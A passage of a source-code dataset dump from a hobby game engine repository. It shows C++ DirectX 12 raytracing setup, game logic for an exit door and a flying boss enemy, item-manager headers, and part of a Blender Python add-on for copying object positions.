ミスシェーダーのシェーダーテーブルの開始アドレスとサイズを設定。\n\t\tsize_t missOffset = m_numRayGenShader * m_shaderTableEntrySize;\n\t\traytraceDesc.MissShaderTable.StartAddress = m_shaderTable->GetGPUVirtualAddress() + missOffset;\n\t\traytraceDesc.MissShaderTable.StrideInBytes = m_shaderTableEntrySize;\n\t\traytraceDesc.MissShaderTable.SizeInBytes = m_shaderTableEntrySize * m_numMissShader;\n\n\t\t// ヒットグループシェーダーの開始アドレスとサイズを設定。\n\t\tsize_t hitOffset = (m_numRayGenShader+m_numMissShader) * m_shaderTableEntrySize;\n\t\traytraceDesc.HitGroupTable.StartAddress = m_shaderTable->GetGPUVirtualAddress() + hitOffset;\n\t\traytraceDesc.HitGroupTable.StrideInBytes = m_shaderTableEntrySize;\n\t\traytraceDesc.HitGroupTable.SizeInBytes = m_shaderTableEntrySize * m_numHitShader * m_instances.size();\n\n\t\t// グローバルルートシグネチャを設定。\n\t\trc.SetComputeRootSignature(m_emptyRootSignature);\n\n\t\t// Dispatch\n\t\trc.SetDescriptorHeap(m_srvUavHeap);\n\t\trc.SetPipelineState1(m_pipelineState);\n\t\trc.DispatchRays(raytraceDesc);\n\n\t\tbarrier.Type = D3D12_RESOURCE_BARRIER_TYPE_TRANSITION;\n\t\tbarrier.Transition.pResource = m_outputResource;\n\t\tbarrier.Transition.Subresource = D3D12_RESOURCE_BARRIER_ALL_SUBRESOURCES;\n\t\tbarrier.Transition.StateBefore = D3D12_RESOURCE_STATE_UNORDERED_ACCESS;\n\t\tbarrier.Transition.StateAfter = D3D12_RESOURCE_STATE_COPY_SOURCE;\n\t\trc.ResourceBarrier(barrier);\n\n\t\t//レイトレの結果をフレームバッファに書き戻す。\n\t\tg_graphicsEngine->CopyToFrameBuffer(rc, m_outputResource);\n\n\t}\n\t#include <time.h>\n\n\n\n\t\tvoid RaytracingEngine::RegistGeometry(Model& model)\n\t\t{\n\t\t\tRaytracingInstance instance;\n\t\t\tmodel.QueryMeshs([&](const SMesh& mesh) {\n\t\t\t\n\t\t\t\tfor (int i = 0; i < mesh.m_materials.size(); i++ ){\n\t\t\t\t\tconst auto& vertexBufferView = mesh.m_vertexBuffer.GetView();\n\t\t\t\t\tconst auto& indexBufferView = mesh.m_indexBufferArray[i]->GetView();\n\t\t\t\t\tD3D12_RAYTRACING_GEOMETRY_DESC desc;\n\t\t\t\t\tmemset(&desc, 0, sizeof(desc));\n\t\t\t\t\tdesc.Type = D3D12_RAYTRACING_GEOMETRY_TYPE_TRIANGLES;\n\t\t\t\t\tdesc.Triangles.Transform3x4 = 0;\n\t\t\t\t\tdesc.Triangles.VertexBuffer.StartAddress = vertexBufferView.BufferLocation;\n\t\t\t\t\tdesc.Triangles.VertexBuffer.StrideInBytes = vertexBufferView.StrideInBytes;\n\t\t\t\t\tdesc.Triangles.VertexCount = vertexBufferView.SizeInBytes / vertexBufferView.StrideInBytes;\n\t\t\t\t\tdesc.Triangles.VertexFormat = DXGI_FORMAT_R32G32B32_FLOAT;\n\t\t\t\t\tdesc.Flags = D3D12_RAYTRACING_GEOMETRY_FLAG_OPAQUE;\n\t\t\t\t\tdesc.Triangles.IndexBuffer = indexBufferView.BufferLocation;\n\t\t\t\t\tdesc.Triangles.IndexCount = mesh.m_indexBufferArray[i]->GetCount();\n\t\t\t\t\tdesc.Triangles.IndexFormat = indexBufferView.Format;\n\t\t\t\t\tinstance.geometoryDesc = desc;\t\t\t\n\t\t\t\t\tinstance.m_albedoTexture = &mesh.m_materials[i]->GetAlbedoMap();\n\t\t\t\t\tm_instances.push_back(std::move(instance));\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\tvoid RaytracingEngine::BuildBottomLevelAS(RenderContext& rc)\n\t\t{\n\t\t\tfor (auto& instance : m_instances) {\n\t\t\t\tD3D12_BUILD_RAYTRACING_ACCELERATION_STRUCTURE_INPUTS inputs = {};\n\t\t\t\tinputs.DescsLayout = D3D12_ELEMENTS_LAYOUT_ARRAY;\n\t\t\t\tinputs.Flags = D3D12_RAYTRACING_ACCELERATION_STRUCTURE_BUILD_FLAG_NONE;\n\t\t\t\tinputs.NumDescs = 1;\n\t\t\t\tinputs.pGeometryDescs = &instance.geometoryDesc;\n\t\t\t\tinputs.Type = D3D12_RAYTRACING_ACCELERATION_STRUCTURE_TYPE_BOTTOM_LEVEL;\n\t\n\t\t\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\t\t\tD3D12_RAYTRACING_ACCELERATION_STRUCTURE_PREBUILD_INFO info;\n\t\t\t\td3dDevice->GetRaytracingAccelerationStructurePrebuildInfo(&inputs, &info);\n\t\n\t\t\t\tAccelerationStructureBuffers asbuffer;\n\t\t\t\tasbuffer.pScratch = CreateBuffer(\n\t\t\t\t\td3dDevice,\n\t\t\t\t\tinfo.ScratchDataSizeInBytes,\n\t\t\t\t\tD3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS,\n\t\t\t\t\tD3D12_RESOURCE_STATE_COMMON,\n\t\t\t\t\tkDefaultHeapProps);\n\t\n\t\t\t\tasbuffer.pResult = CreateBuffer(\n\t\t\t\t\td3dDevice,\n\t\t\t\t\tinfo.ResultDataMaxSizeInBytes,\n\t\t\t\t\tD3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS,\n\t\t\t\t\tD3D12_RESOURCE_STATE_RAYTRACING_ACCELERATION_STRUCTURE,\n\t\t\t\t\tkDefaultHeapProps);\n\t\n\t\t\t\t// Create the bottom-level AS\n\t\t\t\tD3D12_BUILD_RAYTRACING_ACCELERATION_STRUCTURE_DESC asDesc = {};\n\t\t\t\tasDesc.Inputs = inputs;\n\t\t\t\tasDesc.DestAccelerationStructureData = asbuffer.pResult->GetGPUVirtualAddress();\n\t\t\t\tasDesc.ScratchAccelerationStructureData = asbuffer.pScratch->GetGPUVirtualAddress();\n\t\n\t\t\t\trc.BuildRaytracingAccelerationStructure(asDesc);\n\t\n\t\t\t\t//レイトレーシングアクセラレーション構造のビルド完了待ちのバリアを入れる。\n\t\t\t\tD3D12_RESOURCE_BARRIER uavBarrier = {};\n\t\t\t\tuavBarrier.Type = D3D12_RESOURCE_BARRIER_TYPE_UAV;\n\t\t\t\tuavBarrier.UAV.pResource = asbuffer.pResult;\n\t\t\t\trc.ResourceBarrier(uavBarrier);\n\t\n\t\t\t\tm_bottomLevelASBuffers.push_back(std::move(asbuffer));\n\t\t\t}\n\t\t}\n\t\tvoid RaytracingEngine::BuildTopLevelAS(RenderContext& rc, bool update)\n\t\t{\n\t\t\tuint64_t tlasSize;\n\t\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\t\t//todo インスタンスの数は1で固定している。\n\t\t\tint numInstance = m_instances.size();\n\t\t\tD3D12_BUILD_RAYTRACING_ACCELERATION_STRUCTURE_INPUTS inputs = {};\n\t\t\tinputs.DescsLayout = D3D12_ELEMENTS_LAYOUT_ARRAY;\n\t\t\tinputs.Flags = D3D12_RAYTRACING_ACCELERATION_STRUCTURE_BUILD_FLAG_ALLOW_UPDATE;\n\t\t\tinputs.NumDescs = numInstance;\n\t\t\tinputs.Type = D3D12_RAYTRACING_ACCELERATION_STRUCTURE_TYPE_TOP_LEVEL;\n\t\n\t\t\tD3D12_RAYTRACING_ACCELERATION_STRUCTURE_PREBUILD_INFO info;\n\t\t\td3dDevice->GetRaytracingAccelerationStructurePrebuildInfo(&inputs, &info);\n\t\n\t\t\tif (update) {\n\t\t\t\t//更新?\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//新規?\n\t\t\t\tm_topLevelASBuffers.pScratch = CreateBuffer(d3dDevice, info.ScratchDataSizeInBytes, D3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS, D3D12_RESOURCE_STATE_UNORDERED_ACCESS, kDefaultHeapProps);\n\t\t\t\tm_topLevelASBuffers.pResult = CreateBuffer(d3dDevice, info.ResultDataMaxSizeInBytes, D3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS, D3D12_RESOURCE_STATE_RAYTRACING_ACCELERATION_STRUCTURE, kDefaultHeapProps);\n\t\t\t\tm_topLevelASBuffers.pInstanceDesc = CreateBuffer(\n\t\t\t\t\td3dDevice, \n\t\t\t\t\tsizeof(D3D12_RAYTRACING_INSTANCE_DESC) * numInstance,\n\t\t\t\t\tD3D12_RESOURCE_FLAG_NONE, D3D12_RESOURCE_STATE_GENERIC_READ, \n\t\t\t\t\tkUploadHeapProps\n\t\t\t\t);\n\t\t\t\ttlasSize = info.ResultDataMaxSizeInBytes;\n\t\t\t}\n\t\n\t\t\t//Map the instance desc buffer\n\t\t\tD3D12_RAYTRACING_INSTANCE_DESC* instanceDescs;\n\t\t\tm_topLevelASBuffers.pInstanceDesc->Map(0, nullptr, (void**)&instanceDescs);\n\t\t\tZeroMemory(instanceDescs, sizeof(D3D12_RAYTRACING_INSTANCE_DESC) * numInstance);\n\t\t\n\t\t\tMatrix mRot;\n\t\t\tmRot.MakeRotationX(Math::PI * -0.5f);\n\t\t\tmRot.Transpose();\n\t\n\t\t\tfor (int i = 0; i < numInstance; i++) {\n\t\t\t\tinstanceDescs[i].InstanceID = i;\n\t\t\t\t//instanceDescs[i].InstanceContributionToHitGroupIndex = eHitGroup_PBRCameraRay;\n\t\t\t\tinstanceDescs[i].InstanceContributionToHitGroupIndex = (int)eHitGroup_Num * i + eHitGroup_PBRCameraRay;\n\t\t\t\tinstanceDescs[i].Flags = D3D12_RAYTRACING_INSTANCE_FLAG_NONE;\n\t\t\t\tinstanceDescs[i].AccelerationStructure = m_bottomLevelASBuffers[i].pResult->GetGPUVirtualAddress();\n\t\t\t\tmemcpy(instanceDescs[i].Transform, &mRot, sizeof(instanceDescs[i].Transform));\n\t\t\t\tinstanceDescs[i].InstanceMask = 0xFF;\n\t\t\t}\n\t\n\t\t\tm_topLevelASBuffers.pInstanceDesc->Unmap(0, nullptr);\n\t\n\t\t\t//TopLevelASを作成。\n\t\t\tD3D12_BUILD_RAYTRACING_ACCELERATION_STRUCTURE_DESC asDesc = {};\n\t\t\tasDesc.Inputs = inputs;\n\t\t\tasDesc.Inputs.InstanceDescs = m_topLevelASBuffers.pInstanceDesc->GetGPUVirtualAddress();\n\t\t\tasDesc.DestAccelerationStructureData = m_topLevelASBuffers.pResult->GetGPUVirtualAddress();\n\t\t\tasDesc.ScratchAccelerationStructureData = m_topLevelASBuffers.pScratch->GetGPUVirtualAddress();\n\t\t\n\t\t\tif (update)\n\t\t\t{\n\t\t\t\tasDesc.Inputs.Flags |= D3D12_RAYTRACING_ACCELERATION_STRUCTURE_BUILD_FLAG_PERFORM_UPDATE;\n\t\t\t\tasDesc.SourceAccelerationStructureData = m_topLevelASBuffers.pResult->GetGPUVirtualAddress();\n\t\t\t}\n\t\t\trc.BuildRaytracingAccelerationStructure(asDesc);\n\t\n\t\t\t//レイトレーシングアクセラレーション構造のビルド完了待ちのバリアを入れる。\n\t\t\tD3D12_RESOURCE_BARRIER uavBarrier = {};\n\t\t\tuavBarrier.Type = D3D12_RESOURCE_BARRIER_TYPE_UAV;\n\t\t\tuavBarrier.UAV.pResource = m_topLevelASBuffers.pResult;\n\t\t\trc.ResourceBarrier(uavBarrier);\n\t\t}\n\t\tvoid RaytracingEngine::CommitRegistGeometry(RenderContext& rc)\n\t\t{\n\t\t\tBuildBottomLevelAS(rc);\n\t\t\tBuildTopLevelAS(rc, false);\n\t\n\t\t\tCreatePipelineState(rc);\t//パイプラインステートを作成。\n\t\t\tCreateShaderResources();\t//シェーダーリソースを作成。\n\t\t\tCreateShaderTable(rc);\t\t//シェーダーテーブルを作成。\n\t\t}\n\n}\n"
},
{
"alpha_fraction": 0.6880216598510742,
"alphanum_fraction": 0.699526309967041,
"avg_line_length": 22.32105255126953,
"blob_id": "7c55a234b419a80ba23a2168b47a02bdd90ecd32",
"content_id": "ee24064810783a903fbfe2679b1f2c514bf56d7b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4433,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 190,
"path": "/Game/Goal.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Goal.h\"\n#include \"GameManager.h\"\n#include \"Player/Player.h\"\n#include \"Game.h\"\n#include \"Camera/GameCamera.h\"\n#include \"Player/Pod/Pod.h\"\n#include \"Effect/SmokeEffect.h\"\n\nGoal::Goal()\n{\n\n}\n\nGoal::~Goal()\n{\n\n}\n\n\n\nvoid Goal::Release()\n{\n\tDeleteGO(m_model);\n\tDeleteGO(m_smokeEffect);\n}\n\nvoid Goal::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Goal::Awake()\n{\n\n}\n\nbool Goal::Start()\n{\n\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/map_obj/exit.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/map_obj/exit.tks\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\tm_model->SetPosition(m_firstPosition);\n\tQuaternion rot = Quaternion::Identity;\n\trot.SetRotationDegY(90.f);\n\tm_rotation.Multiply(rot);\n\tm_model->SetRotation(m_rotation);\n\n\t//closed\n\tm_animationMap.insert(std::make_pair(CLOSED, std::make_unique<CAnimationClip>()));\n\tm_animationMap.at(CLOSED)->Load(\"Assets/modelData/map_obj/anim/exit_T.tka\");\n\tm_animationMap.at(CLOSED)->BuildKeyFramesAndAnimationEvents();\n\tm_animationMap.at(CLOSED)->SetLoopFlag(false);\n\t//opened\n\tm_animationMap.insert(std::make_pair(OPENED, std::make_unique<CAnimationClip>()));\n\tm_animationMap.at(OPENED)->Load(\"Assets/modelData/map_obj/anim/exit_open.tka\");\n\tm_animationMap.at(OPENED)->BuildKeyFramesAndAnimationEvents();\n\tm_animationMap.at(OPENED)->SetLoopFlag(false);\n\tm_model->InitAnimation(m_animationMap, m_animationMap.size());\n\n\tm_model->Play(CLOSED);\n\n\tauto& wmat = m_model->GetModel().GetWorldMatrix();\n\n\tm_forward.x = wmat._31;\n\tm_forward.y = wmat._32;\n\tm_forward.z = wmat._33;\n\trot.Apply(m_forward);\n\tm_forward.Normalize();\n\tm_openPosition = m_forward * m_openDoorSensorSensitivity;\n\tm_openPosition += m_lastPosition;\n\n\t//Physics\n\tm_physicsStaticObject.CreateMeshObject(m_model->GetModel(), m_lastPosition, m_model->GetRotation(), m_model->GetScale());\n\n\t//Effect\n\tm_smokeEffect = NewGO<SmokeEffect>(0);\n\tm_smokeEffect->Init(m_smokeColor, m_smokeColor, 1.f, 7, true);\n\tVector3 smokeScale = Vector3(4.5f, 0.6f, 4.5f);\n\tm_smokeEffect->SetSca(smokeScale);\n\tm_smokeEffect->SetPos(m_lastPosition);\n\tm_smokeEffect->Play();\n\n\t//\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tplayer->SetVelocity(Vector3::Zero);\n\n\treturn true;\n}\n\n\nvoid Goal::PreUpdate()\n{\n\n}\n\nvoid Goal::Update()\n{\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tif (player == nullptr) return;\n\n\tVector3 pos = Vector3::Zero;\n\t//DebugPrintVector3(EDebugConsoloUser::WATA, player->GetPosition());\n\n\tm_appearTimer = min(m_appearTime, m_appearTimer +gameTime()->GetDeltaTime());\n\tpos.Lerp(m_appearTimer / m_appearTime, m_firstPosition, m_lastPosition);\n\tm_model->SetPosition(pos);\n\tif (m_appearTimer == m_appearTime) {\n\t\tm_smokeEffect->Stop();\n\t}\n\n\tif ((player->GetPosition() - m_openPosition).Length() <= m_openRange and !m_isOpened) {\n\t\tm_isOpened = true;\n\n\t\tauto cam = GameManager::GetInstance().m_camera;\n\t\tauto tar = m_lastPosition;\n\t\ttar.y += 20.f;\n\n\t\tauto camEndPos = m_lastPosition + m_forward * 60.f;\n\t\tcamEndPos.y += 20.f;\n\t\tauto sec = 2.f;\n\t\tauto interval = 100.f;\n\n\t\tcam->Perform(\n\t\t\tcamEndPos, camEndPos,\n\t\t\ttar, tar, sec, interval\n\t\t);\n\n\t\tm_model->Play(OPENED);\n\n\t\t//Player\n\t\tVector3 playerPosBegin = m_forward * 35.f;\n\t\tplayerPosBegin.y = 9.f;\n\t\tQuaternion rot = Quaternion::Identity;\n\t\trot.SetRotationDegY(-90.f);\n\t\tconst float walkSpeed = 1.5f;\n\t\tauto vel = m_forward * -1.f * walkSpeed;\n\t\tvel.y = -1.f;\n\n\t\tplayer->StopThrusters();\n\t\tplayer->PlayAnimation(Player::EnAnimation::enWalk);\n\t\tauto animSpeed= player->GetModelRender().GetAnimPlaySpeed();\n\t\tplayer->GetModelRender().SetAnimPlaySpeed(animSpeed * 0.5);\n\t\tplayer->MovePerformance(playerPosBegin, vel, rot);\n\n\t\t//Pod\n\t\tconst Vector3 distanceFromPlayer = { 5.f,10.f,-5.f };\n\t\tplayer->GetPod()->SetPosition(player->GetPosition() + distanceFromPlayer);\n\t\tplayer->GetPod()->SetRotation(rot);\n\n\t}\n\n\n\tif (m_isOpened) {\n\t\tauto delta = gameTime()->GetDeltaTime();\n\t\tm_performanceTimer += delta;\n\t\t//update chara's pos\n\t\tauto& charaCon = player->GetCharaCon();\n\t\tcharaCon.Execute(delta, player->m_velocity);\n\t\tplayer->SetPosition(charaCon.GetPosition());\n\t\t//\n\t\tif (m_performanceTimer >= m_sceneTransitionTime and !m_isChecked) {\n\t\t\tGameManager::GetInstance().m_gameScene->OnGoal();\n\t\t\tm_isChecked = true;\n\t\t}\n\t}\n}\n\nvoid Goal::PostUpdate()\n{\n\n}\n\n\nvoid Goal::Render()\n{\n\n}\n\nvoid Goal::PostRender()\n{\n\n}\n\n\n"
},
{
"alpha_fraction": 0.6702127456665039,
"alphanum_fraction": 0.6761702299118042,
"avg_line_length": 21.39047622680664,
"blob_id": "ccb09a90fa1be9312b9d95c6b8e7ed0a5b19a1c5",
"content_id": "25a2c2ed7a850d1e0f769af8683378a16c49e46c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2350,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 105,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeFlyState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyMeleeFlyState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n#include \"../../../Effect/JetEffect.h\"\n\nEnemyMeleeFlyState::EnemyMeleeFlyState() {\n\n}\n\nEnemyMeleeFlyState::~EnemyMeleeFlyState() {\n\n}\n\nvoid EnemyMeleeFlyState::Enter(IEnemy* e) {\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy fly\\n\");\n#endif\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\tif (e->IsOnGround()) {\n\t\tm_flyTimer = 0.f;\n\t}\n\n\tif (e->GetAbility().stamina == e->GetAbility().max_stamina){\n\t\tm_flyTimer = 0.f;\n\t}\n\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetGenerateFlag(true);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetGenerateFlag(true);\n\n}\n\nIEnemyState* EnemyMeleeFlyState::Update(IEnemy* e) {\n\n\tauto delta = gameTime()->GetDeltaTime();\n\n\te->RecoverStamina(m_stamina_recover_amount * delta);\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tif (player->GetCurrentHP() <= 0) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t}\n\tm_flyTimer += delta;\n\n\t//printf(\"time : %f\\n\", m_flyTimer);\n\n\tif (m_flyTimer > m_flyLimitTime) {\n\t\treturn e->GetState(TO_INT(BossA::EnState::enOverheat));\n\t}\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tauto len = vecToPlayer.Length();\n\tvecToPlayer.Normalize();\n\tvecToPlayer *= len * 0.8f;\n\n\tconst float distLimit = 20.f;\n\tconst float attackRange = 30.f;\n\n\tconst float heightDiff = -4.f;\n\t//Fly\n\tif (len <= heightDiff) {\n\t\t//return e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\t//Chase\n\tif (vecToPlayer.Length() > distLimit) {\n\t\tauto v = vecToPlayer;\n\t\tv.Normalize();\n\t\tauto velocity = v * m_chaseSpeed;\n\t\te->SetVelocity(velocity);\n\t}\n\n\t//Teleportation\n\tconst float teleportationDist = 80.f;\n\tif (vecToPlayer.Length() > teleportationDist) {\n\t\treturn e->GetState(TO_INT(BossA::EnState::enTeleportation));\n\t}\n\n\tif (vecToPlayer.Length() < attackRange) {\n\t\tauto rnd = GRandom().Rand();\n\t\tif (rnd >= 0.5f) {\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enPunch));\n\t\t}\n\t\telse {\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enDashPunch));\n\t\t}\n\t}\n\n\treturn this;\n}\n\nvoid EnemyMeleeFlyState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy fly\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.7434870004653931,
"alphanum_fraction": 0.7494990229606628,
"avg_line_length": 20.69565200805664,
"blob_id": "edc4e903143506637047994d0b0550cba4953892",
"content_id": "9f987acb8c0287a2441d5928c3c6c8fd3943a880",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 499,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 23,
"path": "/Game/Enemy/State/MiddleBombState/BossBombFullFrontalState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\n\nclass MuzzleFlash;\nclass BossBombFullFrontalState final : public IEnemyState\n{\npublic:\n\tBossBombFullFrontalState();\n\t~BossBombFullFrontalState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tBone* m_cannonBone = nullptr;\n\tQuaternion m_firstRot;\n\tfloat m_timer = 0.f;\n\tfloat m_timeLimit = 0.2f;\n\tMuzzleFlash* m_effect;\n\n\tconst float m_damage;\n};\n"
},
{
"alpha_fraction": 0.6260623335838318,
"alphanum_fraction": 0.6260623335838318,
"avg_line_length": 15.045454978942871,
"blob_id": "4c04e1c441d2822a2b659eb8ee60d4a10902f87d",
"content_id": "1d113915a27cc7cd0c42077afb277a42cdb7b040",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1393,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 66,
"path": "/Game/Item/ItemManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"level/Level.h\"\n\nclass IItem;\n\n/// <summary>\n/// \n/// </summary>\nclass ItemManager :public GameObject\n{\npublic:\n\tItemManager();\n\tvirtual ~ItemManager();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\nprivate:\n\tstd::vector<IItem*> m_items;\n\n\tLevel m_itemLevel;\n};\n"
},
{
"alpha_fraction": 0.5768789649009705,
"alphanum_fraction": 0.5785045027732849,
"avg_line_length": 28.797719955444336,
"blob_id": "e7d5d6baec93f7cc0153a870dd3f011c9499884e",
"content_id": "6c714fcb82970f3f67bd9e7b16991b562bd2dba0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10472,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 351,
"path": "/BlenderPlugin/CopyTransform.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\nimport bpy\nfrom bpy.props import StringProperty\nfrom bpy.props import BoolProperty\nfrom bpy.props import IntProperty\nfrom bpy.props import CollectionProperty\nfrom bpy.types import PropertyGroup\nfrom bpy.props import PointerProperty\nimport bmesh\n\nimport mathutils as math\nimport copy\nimport struct\nimport os\n\n#アドオンの詳細\nbl_info = {\n \"name\": \"CopyTransform\",\n \"description\": \"\",\n \"author\": \"kokoasann\",\n \"version\": (1, 0, 0, 0),\n \"blender\": (2, 80, 2),\n \"category\": \"Properties\",\n \"location\": \"UI\",\n \"warning\": \"\",\n \"wiki_url\": \"\",\n \"tracker_url\": \"\"\n}\n\n#copy transform panel instance\ncopytransform_panel = None\n\nclass SelectAttr:\n select_mode = \"OBJECT\"\n select_type = \"MESH\"\n select_element = \"\"\n\n def Update():\n actObj = bpy.context.active_object\n if actObj == None:\n SelectAttr.select_mode = \"\"\n SelectAttr.select_type = \"\"\n SelectAttr.select_element = \"\"\n return\n #print(\"UPDATE\")\n isChange = False\n if SelectAttr.select_mode != actObj.mode or SelectAttr.select_type != actObj.type:\n #print(\"change!!\")\n isChange = True\n SelectAttr.select_mode = actObj.mode\n SelectAttr.select_type = actObj.type\n \n if SelectAttr.select_mode == \"EDIT\" and SelectAttr.select_type == \"ARMATURE\":\n for bone in actObj.data.edit_bones:\n if bone.select:\n SelectAttr.select_element = \"BONE\"\n break\n elif bone.select_head:\n SelectAttr.select_element = \"HEAD\"\n elif bone.select_tail:\n SelectAttr.select_element = \"TAIL\"\n #if isChange and copytransform_panel != None:\n #copytransform_panel.draw(bpy.context)\n \n\n#bpy.app.handlers.frame_change_post.append(SelectAttr.Update)\n\nelementenum = [\"BONE\",\n \"HEAD\",\n \"TAIL\"]\n\ntypeenum = [\"MESH\",\n \"CURVE\",\n \"SURFACE\",\n \"META\",\n \"FONT\",\n \"HAIR\",\n \"POINTCLOUD\",\n \"VOLUME\",\n \"GPENCIL\",\n \"ARMATURE\",\n \"LATTICE\",\n \"EMPTY\",\n \"LIGHT\",\n \"LIGHT_PROBE\",\n \"CAMERA\",\n \"SPEAKER\"]\n \nmodeenum = [\"OBJECT\", \n \"EDIT\", \n \"POSE\", \n \"SCULPT\", \n \"VERTEX_PAINT\", \n \"WEIGHT_PAINT\", \n \"TEXTURE_PAINT\", \n \"PARTICLE_EDIT\", \n \"EDIT_GPENCIL\", \n \"SCULPT_GPENCIL\", \n \"PAINT_GPENCIL\", \n \"VERTEX_GPENCIL\", \n \"WEIGHT_GPENCIL\"]\n\nclass CopyTransform_PT_Panel(bpy.types.Panel):\n bl_label = \"CopyTransform\"\n bl_category = \"Item\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n \n def draw(self,context):\n global copytransform_panel\n copytransform_panel = self\n \n SelectAttr.Update()\n \n #print(\"DRAW\")\n if SelectAttr.select_mode == \"OBJECT\":\n self.layout.operator(\"copytransform.copyposition\")\n self.layout.operator(\"copytransform.pasteposition\")\n elif SelectAttr.select_mode == \"EDIT\":\n if SelectAttr.select_type == \"ARMATURE\":\n if SelectAttr.select_element == \"BONE\":\n self.layout.operator(\"copytransform.copyposition_head\")\n self.layout.operator(\"copytransform.copyposition_tail\")\n self.layout.operator(\"copytransform.pasteposition_head\")\n self.layout.operator(\"copytransform.pasteposition_tail\")\n elif SelectAttr.select_element == \"HEAD\":\n self.layout.operator(\"copytransform.copyposition_head\")\n self.layout.operator(\"copytransform.pasteposition_head\")\n elif SelectAttr.select_element == \"TAIL\":\n self.layout.operator(\"copytransform.copyposition_tail\")\n self.layout.operator(\"copytransform.pasteposition_tail\")\n #print(\"EDIT DRAW\")\n else:\n self.layout.operator(\"copytransform.copyposition\")\n self.layout.operator(\"copytransform.pasteposition\")\n \n elif SelectAttr.select_mode == \"POSE\":\n self.layout.operator(\"copytransform.copyposition\")\n self.layout.operator(\"copytransform.pasteposition\")\n else:\n self.layout.label(text=\"None select\")\n \n \nclass TFClipbord:\n posList = []\n rotList = []\n scaList = []\n \n MAX_HISTRY = 3\n \n def AddPos(pos):\n TFClipbord.posList.append(pos)\n if len(TFClipbord.posList) > TFClipbord.MAX_HISTRY:\n TFClipbord.posList = TFClipbord.posList[1:]\n def AddRot(rot):\n TFClipbord.rotList.append(rot)\n if len(TFClipbord.rotList) > 